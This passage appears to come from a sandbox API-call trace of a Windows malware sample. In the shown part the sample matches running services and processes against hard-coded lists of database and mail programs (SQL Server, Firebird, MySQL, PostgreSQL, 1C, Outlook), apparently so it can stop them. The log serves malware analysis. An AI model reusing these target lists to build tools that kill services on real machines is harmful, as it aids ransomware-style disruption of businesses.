(lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0065.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0065.712] lstrlenW (lpString="nsi") returned 3 [0065.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0065.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0065.712] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0065.712] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0065.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0065.712] lstrlenW (lpString="PcaSvc") returned 6 [0065.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0065.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0065.712] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0065.712] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0065.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0065.712] lstrlenW (lpString="PlugPlay") returned 8 [0065.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0065.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0065.712] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0065.712] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0065.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0065.713] lstrlenW (lpString="Power") returned 5 [0065.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0065.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0065.713] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0065.713] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0065.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0065.713] lstrlenW (lpString="ProfSvc") returned 7 [0065.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0065.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0065.713] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0065.713] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0065.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0065.713] lstrlenW (lpString="RpcEptMapper") returned 12 [0065.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0065.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0065.713] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0065.713] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0065.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0065.713] lstrlenW (lpString="RpcSs") returned 5 [0065.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0065.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0065.713] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0065.713] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0065.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0065.713] lstrlenW (lpString="SamSs") returned 5 [0065.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0065.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0065.713] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0065.713] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0065.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0065.713] lstrlenW (lpString="Schedule") returned 8 [0065.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0065.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0065.713] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0065.714] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0065.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0065.714] lstrlenW (lpString="SENS") returned 4 [0065.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0065.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0065.714] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0065.714] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0065.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0065.714] lstrlenW (lpString="ShellHWDetection") returned 16 [0065.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0065.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0065.714] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0065.714] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0065.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0065.714] lstrlenW (lpString="Spooler") returned 7 [0065.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0065.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0065.714] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0065.714] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0065.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0065.714] lstrlenW (lpString="swprv") returned 5 [0065.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0065.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0065.714] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0065.714] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0065.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0065.714] lstrlenW (lpString="SysMain") returned 7 [0065.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0065.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0065.714] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0065.714] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0065.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0065.714] lstrlenW (lpString="Themes") returned 6 [0065.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0065.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0065.715] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0065.715] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0065.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0065.715] lstrlenW (lpString="TrkWks") returned 6 [0065.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0065.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0065.715] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0065.715] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0065.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0065.715] lstrlenW (lpString="UxSms") returned 5 [0065.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0065.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0065.715] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0065.715] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0065.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0065.715] lstrlenW (lpString="VSS") returned 3 [0065.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0065.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0065.715] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0065.715] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0065.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0065.715] lstrlenW (lpString="WdiServiceHost") returned 14 [0065.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0065.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0065.715] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0065.715] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0065.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0065.715] lstrlenW (lpString="WdiSystemHost") returned 13 [0065.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0065.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0065.715] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0065.715] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0065.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0065.716] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0065.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0065.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0065.716] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0065.716] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0065.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0065.716] lstrlenW (lpString="Winmgmt") returned 7 [0065.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0065.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0065.716] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0065.716] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0065.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0065.716] lstrlenW (lpString="WPDBusEnum") returned 10 [0065.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0065.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0065.716] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0065.716] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0065.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0065.716] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f93008 | out: hHeap=0x5a0000) returned 1 [0065.716] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a0 [0065.718] Process32FirstW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0065.719] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0065.719] lstrlenW (lpString="System") returned 6 [0065.719] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0065.719] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0065.720] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0065.720] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0065.720] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0065.720] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0065.720] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0065.720] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0065.720] lstrlenW (lpString="smss.exe") returned 8 [0065.720] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0065.720] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0065.720] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0065.720] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0065.720] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0065.720] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0065.720] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0065.720] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0065.721] lstrlenW (lpString="csrss.exe") returned 9 [0065.721] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0065.721] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0065.721] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0065.721] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0065.721] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0065.721] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0065.721] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0065.721] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0065.721] lstrlenW (lpString="wininit.exe") returned 11 [0065.721] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0065.721] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0065.722] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0065.722] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0065.722] lstrlenW (lpString="csrss.exe") returned 9 [0065.722] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0065.723] lstrlenW (lpString="winlogon.exe") returned 12 [0065.723] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0065.723] lstrlenW (lpString="services.exe") returned 12 [0065.723] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0065.724] lstrlenW (lpString="lsass.exe") returned 9 [0065.725] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0065.725] lstrlenW (lpString="lsm.exe") returned 7 [0065.725] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.726] lstrlenW (lpString="svchost.exe") returned 11 [0065.726] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.726] lstrlenW (lpString="svchost.exe") returned 11 [0065.726] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.727] lstrlenW (lpString="svchost.exe") returned 11 [0065.727] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.727] lstrlenW (lpString="svchost.exe") returned 11 [0065.727] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.728] lstrlenW (lpString="svchost.exe") returned 11 [0065.728] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0065.728] lstrlenW (lpString="audiodg.exe") returned 11 [0065.728] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.729] lstrlenW (lpString="svchost.exe") returned 11 [0065.729] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.730] lstrlenW (lpString="svchost.exe") returned 11 [0065.730] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0065.731] lstrlenW (lpString="dwm.exe") returned 7 [0065.731] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0065.731] lstrlenW (lpString="explorer.exe") returned 12 [0065.731] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0065.732] lstrlenW (lpString="spoolsv.exe") returned 11 [0065.732] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0065.732] lstrlenW (lpString="taskhost.exe") returned 12 [0065.732] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.733] lstrlenW (lpString="svchost.exe") returned 11 [0065.733] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0065.733] lstrlenW (lpString="taskeng.exe") returned 11 [0065.733] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0065.734] lstrlenW (lpString="taskhost.exe") returned 12 [0065.734] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotesrouting.exe")) returned 1 [0065.734] lstrlenW (lpString="promotesrouting.exe") returned 19 [0065.735] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rxcalled.exe")) returned 1 [0065.735] lstrlenW (lpString="rxcalled.exe") returned 12 [0065.735] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="off.exe")) returned 1 [0065.736] lstrlenW (lpString="off.exe") returned 7 [0065.736] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mayorintl.exe")) returned 1 [0065.736] lstrlenW (lpString="mayorintl.exe") returned 13 [0065.736] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gzip-june.exe")) returned 1 [0065.737] lstrlenW (lpString="gzip-june.exe") returned 13 [0065.737] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsnavy.exe")) returned 1 [0065.737] lstrlenW (lpString="lsnavy.exe") returned 10 [0065.737] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing-scott-que.exe")) returned 1 [0065.738] lstrlenW (lpString="placing-scott-que.exe") returned 21 [0065.738] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifications.exe")) returned 1 [0065.738] lstrlenW (lpString="specifications.exe") returned 18 [0065.738] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soup-mario.exe")) returned 1 [0065.739] lstrlenW (lpString="soup-mario.exe") returned 14 [0065.739] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cultures-possession-please.exe")) returned 1 [0065.884] lstrlenW (lpString="cultures-possession-please.exe") returned 30 [0065.884] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="platformsprivate.exe")) returned 1 [0065.885] lstrlenW (lpString="platformsprivate.exe") returned 20 [0065.885] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, 